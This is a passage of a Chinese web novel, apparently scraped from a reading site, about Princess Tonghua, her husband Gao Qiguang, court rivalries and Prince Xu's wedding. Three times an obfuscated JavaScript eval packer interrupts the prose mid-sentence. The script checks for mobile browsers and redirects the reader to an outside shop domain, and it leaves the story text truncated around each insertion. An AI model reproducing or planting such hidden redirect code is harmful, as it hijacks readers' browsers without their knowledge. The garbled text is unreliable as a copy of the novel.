入夜,稚柳照旧端水进房侍奉同霞盥洗,一见她早已脱了外衫,只伏在案前专心盘弄手里一只藤编的蜻蜓,模样颇有几分娇痴,不禁一笑,将她身躯轻轻扶正,道: “虽是仲春了,但山气寒凉,当心又要生病。才晚饭的时候,不是说肚子有些疼吗?现在好了?” 同霞等她说完才从蜻蜓上扬起脸:“已经不疼了,大约是我今天和韩因哥哥在外面说了半天的话,灌着风了。” 稚柳拿她无法,细看她脸色确实尚好,不再多虑,继续与她梳洗,却还是不见她舍得放了那只蜻蜓,一时感慨道: “公主小时候就喜欢这个。记得那时,韩因和李固白日都要在马房劳作,韩因便只有晚上不睡觉来做手工。这才因为困倦分心,喂马时被牧尉笞打,头上留了那道疤。” 往事细数,同霞也难不感慨。 韩因其实本该叫李因,李因李固是一对相差三岁的亲兄弟,都是西苑牧尉李丛之子。他们也和稚柳一样,都是周肃安排给同霞的心腹。 李丛亡故时,兄弟俩尚且年幼,无计谋生才入宫为奴。本是要净了身去后宫,周肃偶然看见,只觉他们生得骨气清拔,不似一般怯懦孩童,便留情将他们送到了父亲的旧所。 等到同霞六岁上,周肃便为她引荐了两兄弟,于是连同稚柳在内,四人时常亲近。同霞会骑马,也是他二人教授,还因此锻炼得身体渐强,不似幼年药不离口。 后来孤苦无依的兄弟俱已长成了英姿勃发的少年,尤以哥哥李因魁梧奇伟,周肃有心安排,便择了他远送北陲军中,望他闯出一番事业。也是自那时,叫他改了母姓,称作韩因。 然而韩因一去六年,毫无音讯,虽则国朝并无大战,但边陲冲突,时有交锋,连周肃都觉得李因或已身死。直到那日,李固守候在许王府外,偶然看见那张熟悉的脸,慌忙追去,才惊喜相认。 原来,六年之中,韩因已屡立战功,两年前更是单枪匹马,手刃了一个妄图突袭边州要塞的贼酋,由此一战成名,得到了守将的赏识。岁初便由这守将举荐来到繁京,经兵部计功,吏部考校,任命了从五品下阶的繁京折冲府果毅都尉之职。 韩因既然荣归,也知自己该与同霞取得联系,但连日摸索,只听闻公主竟已出嫁,不便擅自登门,就趁闲暇常在公主府附近逡巡,伺机而动,终于那日与弟弟照面。 柳暗花明不可谓不喜,但世事难卜,也还须步步为营,于是暂收心绪,同霞只当稚柳是取笑,也要同她取笑,轻哼道: “我也没想到他能这么傻呀,后来不是罚了那牧尉十鞭子么?”抿笑又道:“反正打的不是李固,他又没留疤,你埋怨不着我!” 稚柳手上的动作随之一顿,脸色淡淡飘红,盯她半晌,只把擦拭的巾子扔到盆里,嗔道:“妾不敢埋怨,公主也大了,今天就自己去睡吧!” 说完倒不就走,仍把同霞扶持上榻,替她盖好了被子才转身。同霞便也才觉她是较真了,当即跳下来将人拽住,求道: “姐姐不要走,我一个人害怕!” 稚柳暗暗瞥她一眼,唇角微弯,暂不回头,道:“那你还说不说了?” 同霞连忙将嘴咬住,摇头闷声道:“不说了,不乱说了!” 她偶然调皮起来也是难缠,但毕竟年纪尚小,身份又尊,稚柳不好太过,这便回身将她揽住,才发现她竟然赤足站在地上,自责不已,忙推她上去,将她双足拢到腹前捂住,“才说过的,不知道冷吗!” 同霞见她果然心软,早已心满意足,靠在枕上又拿起那只蜻蜓,边拨弄边道: “如今有韩因来往城中,倒不必李固奔波了。只是,他的果毅都尉毕竟是禁军身份,虽然目下只负责训练军阵,军营也距此不远,但若不慎被人发现他与我们的联系,倒是不利。” 稚柳很明白这道理,点头道:“当年叫他改姓,不就是为来日他有所成就,可为公主暗中助力,而不会为人注目,做一支奇兵么?那么还是叫李固多走动便是了。” 同霞想来点头,“我会看着办的,放心。” 稚柳再无可多说,将她已焐热的双脚放回被中盖好,挪到近前,拍着她道:“公主睡吧,妾就在这里陪你。” 轻柔的拍抚由来对同霞有镇静的奇效,没几下便觉眼皮沉了。稚柳看她呼吸渐匀,手里攥得蜻蜓也松开了,这才淡淡一笑,起身将房中灯盏灭去大半,留了一点温润微光助她安眠。 * 齐光曾与同霞想象过,她的这座沁水庭院会是怎样的风景,果然亲见,才知青松成荫,柳竹遮蔽,明月碧水尽皆有之,也如她所言,当真并没有夜鹤飞渡。 可是,她还是骗了他,骗得十分高明。 此刻春山夜静,他也做了一回流连胜景,沉夜忘归之人。等到月上柳梢,芳露滴沥,身披夜色,潜至她的窗下…… 他看到她爱不释手的蜻蜓,是那人亲手制成的礼物;他听到那人怪异的身份,是她苦心孤诣想要保护的。那蜻蜓是他们的信物吗?那人是她的情人吗? 她澄澈的目光原来不是一汪静水,她隐秘的心思到底是为怎样的目的?他不信她的所作所为与自己毫无关系,也不信她自始至终都将他视作等闲! 房中灯火渐渐微弱,声息不闻,他终于合上他不动声色撬开的窗缝,从被夜雾打得湿滑的山石上悄然飞跃,稳落平地。 公主啊公主,你应该给我一个机会,听听我的心,如果我和你想的不一样呢?如果你不肯屈脊的坚贞正是我毕生的爱慕,如果——我也可以为你做一只蜻蜓呢? 他最后回望安详于山间的屋舍,滚烫的泪水潸然而下,山间的晨风已经吹拂。 * 许王即将大婚,官宦贵胄之中,就算平素不与他来往的,此时或辨析朝中形势,或顾及二分亲缘,更也有试图结交的,都在为那一日宴席筹备着贺礼。 蓬莱公主府也不例外。 本日公主萧姣正设席花园,听府中管理财货田籍的邑司令汇报礼单,不料肃王妃忽然到访。二人本是表姐妹,又互为姑嫂,从小投契,一时相见,也不拘礼数。 高慈见她院中阵仗,心知肚明,笑道:“有什么好准备的,随便挑几件给他就是了,能如何?” 萧姣睨她一眼,道:“你是得意,陛下一下给了你家三个爵位。我就不同了,陛下的面都难见。你弟弟高懋到如今还只是一个羽林郎,说是护卫陛下,其实就是风吹日晒的摆设,连个子爵都没有!所以,我只好趁机去巴结巴结别人了。” 她三言两句只绕着爵位,说得像是毫不知内情一般,高慈只觉促狭,哼她一声道: “我以为你与我是一样心肠,谁知你也是个没良心的!区区子爵有什么好羡慕的,你那驸马将来可是要承爵许国公的!反而是我,人家的孩子得了好处,你母亲——皇后娘娘不仅自为得意,还要劝我大度,我连喘气的地方都没有了!” 萧姣被她逗笑,掩唇半晌才抬起脸来,拽拽她衣袖,好言道:“哎呀,取笑而已,我能不懂么?你看我这么大费周章,不也是我母亲吩咐的?”叹了口气,又道: “七郎和他那个卑贱的生母,还有那个安喜,都是一个作风,不是矫情作态,就是卖弄可怜,偏偏陛下又很喜欢。如今又加了一个萧婵,也还是宫婢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16905747|188272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之女。你我这样的出身,怎么做得出?” 这番话才算说到高慈心中,但想想自己的处境,到底还是比这位嫡出的公主更加堪忧,说道: “其他的我管不了,只是来日肃王登位,难保那个徐氏不成赵德妃第二,她又比赵德妃有出身,还是陛下亲自指给肃王的。真有那一日,若父亲也不在了,我恐怕……” 萧姣果然没有想得这般深远,微微皱起眉,“舅舅难道就放任高懋做个军中小卒了?那高惑呢?” 高慈缓缓摇头,面上渐渐显露恼恨:“我也不知父亲怎么了,自从身边有了那个高齐光,先是促成他做了驸马,如今又叫他入了御史台,待他情如义子,反将两个亲生儿子撂到脑后去了。” 萧姣虽也常听闻高齐光的事迹,却不似肃王府与他的交集,问道:“这个人除了相貌出众,有什么特别?当初也是安喜看上了他,他才有这好命的吧。” 高慈不知别的,只想起徐纵案那一回,父亲竟叫他一个外人来王府传话,这人应该也算有些本领,便道: “安喜一个小丫头,宠他爱他,为他讨爵讨赏都不稀奇。我父亲是赞他才华,想来他也是得力的。如今肃王也常与他亲近,几个孩子的封爵也算是承了他的情。” “罢了,都是长他人志气。”萧姣听来无趣,提起案上茶盏饮了两口,想起什么,低声又道: “并非我要笑你,只是母亲也常与我谈起,你这身子究竟是失之调养,还是我大哥被徐氏缠住,难去你房里?你若是能生个一子半女,处境就不同了。” 算到今年,高慈已做了六年王妃,子嗣之事确是她最大的烦忧,当着萧姣也无谓虚言,说道: “我哪里不保养?便是我母亲也时常送些补药来,可就是怀不上。肃王虽偏心徐氏,好歹隔几日也会来我这里。”歇了歇,又反问道:“你呢?也成婚一年了,有没有什么管用的法子?” 萧姣略感无奈,道:“高懋宿卫皇宫,五日才回来一次,我有什么好法子?不过也是顺时保养罢了。” 两人说到此地,算是入了穷巷,相视一叹,只好笑笑。此后一时无话,萧姣正欲将邑司令唤回来继续整理礼单,忽闻一声声略显吵闹的呼唤自身后传来: “公主,我回来了!公主!” 没有别人敢在公主府这般放诞,只有那晒得面颊分色,嘴唇起皮的未来许国公。他大步流星走到廊下,定睛看见多了一人,又只忙咋呼:“嗳,姐姐来了!那肃王也来了?在哪里等着臣呢?” 当高慈目瞪口呆地见识这个场面时,萧姣早已扭过头去。他却仍然丝毫不察,站到两人席前,大略施礼便道: “我还以为今天不是什么好日子,原来还算是好日子。公主,我这就去叫下人备宴,好好款待姐姐和大王。” 这话说得倒稀奇,萧姣这才皱眉瞧他一眼,问道:“今天怎么不是好日子了?” 高懋圆了圆眼睛,似乎才意识到不妥,没多想,如实道:“我才在路上看见那个高齐光了。我就想起上次与同僚吃酒,也不知哪里逾矩,被一个御史参奏,就想叫高齐光替我出出气。他能去御史台都是父亲提携,可他竟然不肯帮忙。我就骂了他两句,觉得有些扫兴罢了。” 她们才刚说到此人,正愁他人得志,没成想高懋又做这灭自己威风的事,气得萧姣再不愿沾他半分,起身拂袖而去。 高慈见状,更是怒其不争,恨得牙痒,无处说理,狠狠瞪了弟弟一眼,“你还不去洗洗脸,看看自己什么样子?!” 高懋自然完全不能领会,挠了挠头,看姐姐也追随公主走了,又沉思半晌,终究还是挠了挠头。 37.利欲感情 同霞月余后再回到公主府时,郁金堂前的花树正开到最烂漫时,虽然静院无风,仍有花雨簌簌而下。这情景不由叫人想起前朝诗句,花开时节动京城。 时节是此时节了,倾动京城的却不是名花,而是春风满座的绮宴,王权富贵的风流。繁华胜事,岁岁年年,大约倾动京城的原本就不是名花。就像人的罪总可以狡猾地归咎于不堪的时运,人的幸却要不遗余力地假托万物而升华。可见,有的罪是幸,有的幸实是假。 她淡淡一笑,到这时才看见花雨之下站着那人。他竟然也在对她含笑,毫不回避地显示他的久候,也毫不回避地展示了他的从容。这与她想象的却有偏差。 她在城外听闻的消息,萧遮果然得到了君父的嘉奖,但风声里也有一半是对他的评断。譬如翻出古谚“娶妇得公主,平地买官府”的嘲讽,又譬如说他与斜封官无异。而他对于登门恭贺的乌合之众,也是颇为头痛的避之不及。 “公主回来了,这段时日可都好么?”她尚在品评,他已走了过来,拱手礼罢,就站在两三步外。 她不由重新将他上下看过,又不知为何,顺然地点点头:“今天似乎不是旬休。” 他一笑,道:“臣连月未休,又与同僚换了值,臣知道公主今天定会回来,明天臣也想和公主一起参加许王婚典。” 他口齿清晰,要求适当,笑意却很不合他们现在的微妙关系,但同霞凝噎半晌,竟不知怎样反驳,也,不算生气。 “哦。”终究以轻淡一声收场,转身之际却又被他忽然靠近的手一惊,“你干什么?” “公主的衣裳勾住了。” 同霞这才看见,原是一直拿在手里的藤编蜻蜓,一只翅膀勾住了自己轻容纱的披子。迟滞的片刻,还是由他援手拨开了披子。 “还好,没有勾坏。” 他自顾又说,她不再理会。 * 当许王迎亲的幰车从兰陵坊裴府接过以团扇遮面却难掩光华的新王妃,一路彩绣辉煌来至王府门首,许王也已盛装久候。 同霞没有挤到人前,站在门楼高处,随意扫视,竟已能见许王的六位兄长,五位姐妹,包括新封的始宁公主,都站在他的身后。他们或是向兄弟起哄,或是为新妇下婿,亲密无间,抛却了一切礼节,也抛却了一切成见。 同霞愿意相信,这一刻洋溢在他们脸上的笑容,多少是含了几分真情的。因而也随之笑出来,想与一旁稚柳说些什么,余光划到高齐光,又咽了下去。 “你没有需要应酬的人么?”她觉得他一双目光诡异的殷切,站在后面活像个侍从。 他上前一步道:“臣没有。” “肃王在那里。”同霞指了指门楼间,又点了点簇拥在一众王侯之后的朝官,“你的同僚也在那里。” 他仍道:“臣没有话要和肃王说,那里也没有臣深交之人。” 她厌烦起来,携起稚柳径直往内院走去,“我要去看看许王妃,去女眷那里,你也要跟着么?” 齐光已跟上两步,只好顿足,“那臣在□□设宴处等公主。” 同霞皱了皱眉,继续远去,实在摸不清他的意图,他怎么跟之前不一样了? * 她的身影消失在长廊转角,齐光才将目光缓缓收回,却并不就去□□。原地驻足,望见脚下一汪小小水坑倒映出自己的面庞,想起昨夜落过一场雨。 雨虽只下了半个时辰,也不大,他那时却醒来了,咽喉干痒,连饮了几杯茶,方发觉应该是郁金堂内的苏合香日夜接续,室内尤为干燥。 他诚然是不喜欢点香的,她说得对。但她说苏合香味甘、性温、无毒,可以通窍、开郁、辟秽,他便说喜欢,也是真。 竟然不着边际得想起这些,回过神来解嘲一笑,正欲提步,忽然却听一声: “姑丈!” 他转头看去,见是一位独身而来的女孩,高绾双髻,大约并没成年,珠襦月帔,却是妆扮华贵,再细思那一声称谓,他忙揖礼道:“恕臣眼拙,不知贵主名号。” 女孩轻笑一声,“姑丈,我叫萧婵。” 其实萧婵刚刚就在门楼下迎接新嫂,但齐光既不认得,目光也只在同霞,这才恍然,躬身又道:“臣不敢当始宁公主如此称呼。” 萧婵年才十三,一张脸虽初具青春,眉目间仍有一段稚气未脱,偏头一笑,背起双手道:“我原本是想来谢谢姑姑的,可是我才到,她就走了。我看到姑丈在发呆,便也没有打扰。” 她言谢,齐光一时没想到是为何,也无心深究,正要辞去,又听她道:“虽然七哥没有说,但我知道,真正想着我的是姑姑。她和我一样,没有封号的时候被人看不起,所以才与我感同身受。” 萧遮究竟因何忽然想起这位异母妹妹,齐光早已心知肚明。却不曾想第一个向他直白点明的,竟然就是这位公主。是否要像面对高琰和肃王的质疑一样,对她也三缄其口,齐光有些难以定夺。 但他不能不有所回应,忖度道:“长公主从前的事,臣也有听闻,只是她毕竟是帝子,为何有人毫无忌惮?” 萧婵皱眉想了想,缓缓才道:“大概是先帝的子女太多了,姑姑又出生得很晚,母亲也没有身份。她其实比我更可怜,听说先帝直到她十岁才第一次见她。那时先帝病重,痈疮发作,双足溃烂,她就用嘴为先帝舔去腐肉,吸出疮毒。这才让先帝念她纯孝,认了她。” “……什么?”齐光听清了,却没有办法逐字理解,百骸随之一震,浑身却只觉无力。 萧婵被他青白的面色吓到,双手在腹前紧握,气息短促地道:“我都是听一个服侍过先帝的老内侍说的,他说是他亲眼看见的,但他已经死了。姑丈问我,我便说了,我和别人都没有说过。” “臣……”齐光已觉胸腹之间翻江倒海,一手不得已撑扶廊柱,“那长公主向来饮食艰难,几不肉食,也是因为这个?!” 萧婵咬唇摇头:“我知道姑姑体弱多病,但那是因为她先天不足,别的,我不知道。” 齐光大喘了几口气,这才稍许恢复,再三揖礼,尽力平和道:“公主关切长公主之心,臣深为感动。但公主若当真想要回谢姑母顾念之情,就请不要再对旁人提及此事。” 萧婵很快点头:“我本来也没有对别人说过。” 齐光正色道:“臣也指,公主能够获封一事。” * 亲迎之礼本在黄昏,等到萧婵离去,天色早已暗下。齐光慌忙整理心绪,奔赴喜宴,谁知各处看过一圈,竟都未见同霞。反是这格格不入的举动,将也寻他半日的肃王招惹了过来。 一句话喊住他道:“驸马来了!”说着又举来酒盏,佯以笑意向四周遮掩,靠近他方道:“是你让孤拿出兄长的气度,在这里演一出棠棣同馨,你怎能不在场?” 齐光暗暗切齿,接过杯盏,一笑饮尽:“今日的情形定然早已传入内宫,臣在不在,与大王的表现无关。” 萧迁倒不反驳,又与他斟酒,说道:“孤听闻,高懋把你骂了,就因为你不替他出气。” 斜倾了倾脸面,示意他去看对面席上正与旁人吃得热闹的高懋,又道:“他是个呆子,可他父亲不是,你怎么连表面功夫也不做做?” 齐光轻笑一叹:“他父亲不是呆子,又何须表面功夫?御史台不是嬉笑之地——奏弹推事,王法如天,若想以人之利欲去玩弄法,无异于挽弩自射。” 他忽然说教,萧迁不由微微皱眉,又觉得他是有所指,便一恍然:“你说得好。只是下回空闲了,再与孤说说那一个字的解法,孤随时虚左以待。” 齐光含笑不语,再次将酒饮尽。 * 站在郁金堂东侧的凤楼上,不仅可以看到公主府的池馆亭台,连许王府也可观瞻。此刻满月当空,照得一地清白,王府□□却无须夜月,熠熠灯火,袅袅香烟,自有隔绝。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16909201|188272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >同霞倾倒玉壶斟满手中金盏,琥珀色的酒如饴糖般,入口却是清冽而尖锐。她为这清冽而真心一叹,又为这尖锐不禁啧舌。 “公主让臣好找。” 正在缓缓舒展的眉心,因一个不速之客重新敛起。他还是下午那副样子,令人讨厌。然而,她想起她已经忍受了两天,没有耐心了,酒意也鼓噪着她: “高齐光,你又想耍什么花样?” 齐光缓缓摇头,见她身躯摇晃,已不觉伸开两臂,“公主不是去看许王妃了么?为何要在这里饮酒?” 同霞不想再与他示弱,靠倚阑干慢慢坐了下来,仍拿起玉壶倾尽,却只剩了半盏,忽一笑: “我去看过她了,我告诉她不要害怕,因为——陛下说她父亲是个耿直的忠臣,又说让我与她多多亲近。所以,你应该害怕了,应该远离我。” 虽然是酒话,齐光却相信,也在原地跪坐,道:“臣不怕,臣更不想远离,因为臣也可以做公主的忠臣。” 同霞摇头取笑道:“你对肃王,对高琰,也是这么说的么?那可就是罪犯大逆,罪不容诛了。” 她两颊颧上难得描绘的两笔斜红,因她动荡的笑意犹如两把小小的弯刀垂悬,让齐光第一次忽略了她那双深陷的笑涡。他愣住了,感到震惊,为些许荒唐的失察。 “你果真这么说过?还是果真害怕了?”她却仗势戏谑起来。 齐光仍定睛注目她许久,大大地吐了口气:“臣想猜一猜公主的心,如果臣猜中了,公主能否开恩,也听一听臣的心?” 他竟然还敢恳求,做出一副摇尾乞怜却又理所应当的姿态。同霞只觉匪夷所思,持盏的手,手指掐进凸起的花纹里,疼痛连心,五脏都被牵扯得裂痛。 不及再说什么,一阵剧烈的咳嗽就令她腹中原无根基的美酒一时倒悬。他立马扑上去将那副单弱的身躯托住,她呕逆不止,最终也没有力气再抬起头来,无能地倒在他的胸前。 “高齐光,我嫁给你,只是觉得有利,并没有安什么好心。”她声音无力,字句却坚硬如铁。 齐光垂目看她,想起的却是才从萧婵口中得知的宫闱秘辛。她那可以比肩卧薪尝胆的忍辱含垢,难道也有越甲吞吴的志向?他现在还无从得知,但他可喜,她终于说了一句无可挑剔的真心话。 他说道:“那臣能带给公主什么好处呢?想来,倒是公主一直在维护臣。” “你的好处就在——你生得漂亮,琼枝玉树,年少风流。”她似乎想也没想,信口说出,轻笑一声。 齐光却也信她此言有五分是真,胸有成竹,替她填补下阕:“其实公主和臣是一样的,形貌相当,心思,也相当。” 她这才咬牙勉力伸展低垂的脖颈,酡红的脸上露出不可思议的神情:“你胡说什么?!” 齐光调整了扶持她的姿势,将她紧紧拢住,让她尽情借力昂起头颅,颇像是有恃无恐,笃然又道: “臣没有胡说,臣与公主一样,接近高家只为有利——并没有安什么好心。” 凤楼上没有一丝风,闷滞得如同风雨前的夏夜,但又并没有雷声。月华如水,春宴如荼,拼凑成时动时静,时隐时现的挑逗。她没有想到,她会这么快在他面前败下阵来: “你不要说了,不要再说下去了!” 齐光感觉到她的恐惧,连弯刀般的斜红都溃散成残妆,他感到心疼,却不后悔:“臣总是会等公主给臣说下去的机会,臣一定会等到这一天。” 天外没有雷声,却都在她胸腔、耳内,轰然得让她听不清他的许诺,却也不堪再追根究底。她泪如雨下,不是恨自己酒后失言,借醉纵情,也不是恨天上圆月,不顾离情。 “那就请你,把你的——妹妹,带到府内安置吧。”她缓缓闭上双眼,也缓缓靠回了他的胸膛。 “好。”他没有迟疑。 担忧同霞受凉而去取氅衣的稚柳早已返回,她知道没有必要再去送衣了。 38.月晦星明 子夜已过,十六岁的少年夫妻对坐青帐,面上都染得一片薄红。许王萧遮紧抿着唇,手捧一方装了玉露团的食盒,慢慢举向新妇裴涓,似酝酿着千言万语,开口只道: “吃吧。” 裴涓双手接过,不敢轻动,“妾让大王不高兴了么?”她只能将他的滞涩理解为不悦,但他又记得自己喜欢玉露团,“大王在想什么?” 萧遮一惊摇头,却以空出的双手捂住了唇,“我没有不高兴,我在想,你累了一天,肯定是饿了。” 裴涓心中一喜,低了低眼,羞涩道:“那,大王为何做此状?” 萧遮愣住,仍不放下手,还向后挪了挪,这才一叹:“大哥才劝了我好些酒,他从未这样与我亲近,我高兴起来就都饮了。后来三姐也来敬我,我也吃尽了。我觉得有些吃多了,在外头歇了半个时辰才敢进来,还是觉得有酒气,我怕……怕熏着你。” 他言行全不像吃醉的人,唯有面上酡红,裴涓不由好笑,试着一点点伸手牵住了他的衣袖,“大王这样高兴,妾也很高兴,肃王和蓬莱公主一定也是真心为大王高兴的。”见他依从自己慢慢放了一只手,便拿起一块玉露团摆去了他掌心: “玉露团清甜,大王吃了就没有酒味了。” 萧遮看向手里碧玉剔透的圆团,点点头,送入口中一下咬去一半,便顿觉舒心畅意,“你也吃。”他从食盒中提起一块,直接送到她唇下,“我从前倒不觉得玉露团这样好吃。” 裴涓不再迁延,就着他的手吃了一口,这才接下,“妾知道,大王以前同安喜长公主一起,吃惯了糖。” 萧遮听着咀嚼忽停了,皱眉道:“对了,我今天都没有看见小姑姑,你瞧见了么?”恍然想起她还不认得,又自语道:“她不会又生病了吧?” “没有没有!”裴涓却连忙接口,“长公主很好,才无人时,她来看望妾,与妾说了一刻的话。” 萧遮自然惊诧,旋即又感失落:“她什么时候认识你的?她怎么不来祝我一杯酒呢?她说了什么?是我小时候的笑话么?” 他分明是羡慕,却用好奇掩饰,裴涓只觉好不可爱,对他的问题一一柔声回道:“长公主就是今天才初见妾。她说外面酒宴吵闹,她不喜欢,也不必与大王这样讲究。” 笑了笑,又道:“长公主并没提大王的事,她只是劝我不要害怕,说听闻妾的父亲字写得很好,以后闲暇,让妾教她练字。” 裴昂的事,萧遮近来也了解许多,便只觉同霞单为练字这样的闲事过来,未免奇怪,“她才不喜欢舞文弄墨呢,好端端的,练什么字?她还说什么了?” 裴涓道:“就问了妾家里还有什么人,妾便如实禀告,说妾的母亲早已亡故,家中除了父亲,再无别人了。” 萧遮沉默了半晌,将食盒腾到了一旁案上,将她双手拢入掌中,又慢慢托到身前,“你一定很舍不得你父亲吧?” 裴涓感他手心温热,眼中也已积聚泪光,颤颤道:“妾晨起梳妆的时候,父亲也给妾送来了一盘玉露团。他从没有这样过,妾甚至以为他并不知道妾的喜好。可他今天对妾说,妾的母亲也喜欢玉露团,母亲过世后他才不大去想了。” 萧遮见她落泪,心中慌促,急道:“你别难过!你们以后还是可以经常见面的,或者明天我就陪你回家去。” 裴涓缓缓摇头,“父亲说,皇家不同于民间,妾不能经常回门,他也不宜来王府看我。” 他提到“皇家”两字,萧遮才觉自己忘情,轻叹一声,引袖伸手替她轻轻掖了掖脸上珠泪,“总也有机会相见的。” 便再也不知如何劝解,而四目相视,他的手却许久没有放下,“涓儿,我听母亲是这么唤你的,你在家时呢?” 被他贴住的半边脸颊愈加发热,泪痕也早已蒸干,裴涓忽也觉得气息有些急起来:“父亲也是这样唤妾的。” “涓儿,你以后就叫我七郎。我是喜欢你的。” 这是初知人事的少年最大胆的发言,包含了他希望她永远不要垂泪的怜爱,也包含了他希望与她共度余生的祈愿。 * 荀奉奉命遣送冯氏,已于二月底返回繁京。他的差事办得顺利,不曾想昭行坊的小宅却是天翻地覆。高齐光随公主去了公主府,他也只好留守高黛身边。 可谁知,高齐光本日忽然回来,说要让他们一齐搬去公主府,又道出与公主的一番交谈,他只觉百般无解,不待高黛先说,就率先问道: “公主到底是什么意思?公子都这样告诉她,她怎么也不要问明白?” 齐光一脸风轻云淡,只看向高黛道:“阿黛,你害怕吗?” 这段时日,高黛镇日空闲,心中思虑并不比齐光少,摇头道:“你从前总说不知公主的本意,现在我也不知你如何看得出她和我们一样。我并不想恶意揣测公主,可她毕竟是公主,这个身份是可怕的。” 齐光笑了笑,“我仍不知她究竟要做什么,她很聪明,也很隐晦,即使稍有失策,也不会让人看透。这是因为,她有许王为盾,哪怕是高琰,也只会疑心她的举动是偏帮许王,而与我异心。” 高黛细细想来,这姑侄俩虽说有过刻意避嫌,确实也是无法断开,“那么,她至少也是不与高家为伍的?” 齐光点头:“是!只有这样一切才说得通。好比她虽主动下嫁于我,接着却是高琰接连受到陛下的戏弄,又好比他还愿意留着我,难道会是想用我对付许王?” “可这样代价是不是太大了?她纵然无依无靠,好歹也是金枝玉叶,若是所托非人,她难道也不怕么?”高黛不敢深思,已觉手臂起了一层鸡皮。 “所以,她要做的,或许连我们都会自愧不如。”齐光脸色冷去,心里再一次想起了那桩宫闱秘辛。 高黛无言以对,缓而只有示意荀奉一眼,叫他一道去整理行装。齐光这才叫住荀奉问道: “秦非究竟何时能到?” 荀奉答道:“他在军中已升了解射主帅,管着几百弓手,虽无战事,也须想个周全的借口告假。他只说,不会叫公子这头坏事的。” * 她能够相信他那一句话吗?至少他是很有勇气的,就像他当初金殿拒婚一样,分明是知道后果的。 酒醒后,她仍不后悔自己多言。因为她忽然发觉,他们一直以来的相互戒备,其实早已指向这一刻的暴露。她并非聪慧绝伦,他也不是当世诸葛,由此而言,他们也算得“相当”。 “他们住得惯么?侍奉的人可还满意?” 她望向站立榻下的那人,见他已沐浴更衣,着了件淡蓝半旧的袍服,正是他从前家居常穿的。她许他进到内阁同寝,也是叫他接妹妹入府的同时决定的。 “他们很好,北院宽敞,一切都很妥帖。”齐光轻皱眉头,目光落在一旁杌凳上摆的一碗像是解酒汤饮的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16915210|188272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西,“公主今天可曾吃过东西?” “嗯。” 她能够回答他,他已经感激,无法再求真伪,“公主今后还是少饮酒为佳,尤其是烈酒。” 同霞倚在枕上,手里把玩着那只蜻蜓,早已没在看他,这时方一顿,抬起眼帘:“那是七郎的喜酒,你难道没有饮么?那你来见我之前,去做什么了?” 她素清的面庞不再有昨夜的胭脂色,便也再没有了可以阻挡他被那双笑涡吸引的东西,“臣在寻找公主,其间遇到了肃王,臣也饮了酒。”他嘴角浮起微笑。 她觉得他的笑是守株待兔,是请君入瓮。她没有上当,稍稍起身,将蜻蜓尾端挂在了帐中原本用来悬挂的香囊的铜钩上,然后便挪向了寝榻深处。 “臣可以上来吗?”他理所当然地询问。 同霞翻身面向内侧,略待一时方回他:“你也可以睡在地上,此处罽茵都是兽毛编织,不会冷着你。” 两利相权取其重,自然还是上去的好,齐光从速脱去外袍,在她先前坐倚处平躺了下去,只觉尚有余温,心满意足地一笑。 然而,那只蜻蜓就悬在他的头顶。 方才还不觉得,一直也不觉得,这蜻蜓竟这么大。哪有比人手掌还大的蜻蜓?太不写实,太假了。 但它本来就不是真的嘛。 齐光心里毛躁起来,侧目小心看了她一眼,“公主这只蜻蜓是买的?从前不曾见过。”他不仅明知故问,又举起手掌去比了比,却发现,它并不比自己手掌大。 同霞不知他背后的动作,想起从城外回来那日他便已见过这蜻蜓,到这时才问,未免古怪。若顺他所言,他想必又会问在何处买来,于是折中道:“是李固做的。” 齐光明白她不会吐真,仍心中一闷,顿了顿才道:“李固身强体健,孔武有力,却又会垒雪人,又会做蜻蜓,他怎么无所不能?” 他话中酸气扑面而来,同霞简直无语至极,回身瞪视他道:“他就是这样好,他就是什么都会,如何?” 齐光才觉失言,脸上一白,立马撑起身躯,向她低头,“臣是夸……夸赞之意。” 信这话就是真糊涂了,但同霞硬也想不出他又会是琢磨什么,只又见他从枕下摸出一物举了过来,道: “这针袋,臣也带回来了。公主若有气,就扎臣出气吧。” 同霞这才想起这深褐色的布袋不是陌生物件,没有接下,“你又不是牛皮筏子,扎穿了也出不了气。一块死皮,厚如城墙,休说银针,就是弓弩也射不穿。” 他自己听了都想叫妙,比方得妙。 终又悻悻躺平,再偷眼去看,也不敢再妄言。 “他就是这样好,他就是什么都会。” 这句话却又在他脑中盘旋起来。 蜻蜓既不是李固做的,那这话便也是指那个叫韩因的果毅都尉吗?他想起那日在山居的所见所闻,此人形貌英武,服役军中,只为做她的一支奇兵,也为此改姓…… 改姓,容貌,李固——他想到了什么关联,但有待求证。 